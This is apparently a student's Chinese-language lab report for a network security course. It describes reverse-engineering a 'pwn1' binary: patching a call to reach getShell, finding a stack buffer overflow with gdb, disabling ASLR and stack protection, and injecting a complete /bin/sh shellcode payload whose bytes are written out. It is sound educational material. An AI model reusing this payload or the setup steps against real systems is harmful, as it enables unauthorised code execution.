20155313 杨瀚 《网络对抗技术》实验一 PC平台逆向破解(5)M

时间:2023-12-20 17:37:14

exp1 PC平台逆向破解(5)M

一、实验内容

  • 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 3.注入一个自己制作的shellcode并运行这段shellcode。

二、实验目的

  • 1.运行原本不可访问的代码片段
  • 2.强行修改程序执行流
  • 3.以及注入运行任意代码。

三、实验过程

第一阶段

  • 1.将pwn1代码拷入kali上,改名20155313pwn1。
  • 2.使用objdump -d 20155313pwn1 | more查看该代码的反汇编代码。其中的call 8048491的汇编指令是调用位于地址8048491处的foo函数。

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M
  • 3.我们需要通过修改其对应的机械码,将此调用改为调用shellcode,将e8 d7改成e8 c3

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M
  • 4.然后转换回原格式并查看修改后的反汇编代码。

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M
  • 5.使用./20155313pwn1./20155313pwn2对比修改前后的功能区别。

第二阶段

  • 1.通过对20155313pwn1使用gdb进行调试,分别测试11111111222222223333333344444444555555551111111122222222333333334444444412345678,来查找eip寄存器的值具体是多少,并推断是哪几个字符串覆盖了返回地址。

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M
  • 2.已知1234溢出buffer区域进入内存覆盖了返回地址,然后通过断点测试确认使用小端输入。

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M
  • 3.在注入shellcode代码之前进行准备工作的设置。
root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M

  • 4.我们使用anything+retaddr+nops+shellcode结构构造攻击buff。并使用gdb通过设置断点,来查看注入buf的内存地址。查找到这个地址为0xffffd2fc,根据教程上选择了相邻加4的地址,最终确定shellcode的地址为0xffffd300。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。

20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M

  • 5.最后使用构造输入字符串实现攻击,该字符串为\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00

    20155313 杨瀚 《网络对抗技术》实验一  PC平台逆向破解(5)M

三、思考题

1 用自己的话回答以下问题:

  • 1.1 实验收获与感想

    是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上

  • 本次实验是网络攻防的第一次实验,老师在课上讲得很细,之前理论学习的缓冲区溢出攻击在本次实验得到了实现。简而言之,缓冲区溢出攻击就是当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上,这些溢出数据会使计算机执行非授权指令。我们在进行攻击的时候是进行了系统设置,关闭了一些保护进程,使得这个缓冲区漏洞暴露在我们面前。事实上想要攻击缓冲区漏洞不止实验中这么简单,还需要考虑一些阻止非法输入等保护数据不溢出的系统设置,但是计算机的安全隐患始终存在,我们在使用计算机的过程也要注意及时更新漏洞,以防计算机遭到非法攻击。

  • 1.2 什么是漏洞?漏洞有什么危害?

  • 漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。计算机系统漏洞可以被不法者利用通过网络植入木马、病毒等方式来攻击或控制整个计算机,窃取计算机中的重要资料和信息,甚至破坏系统。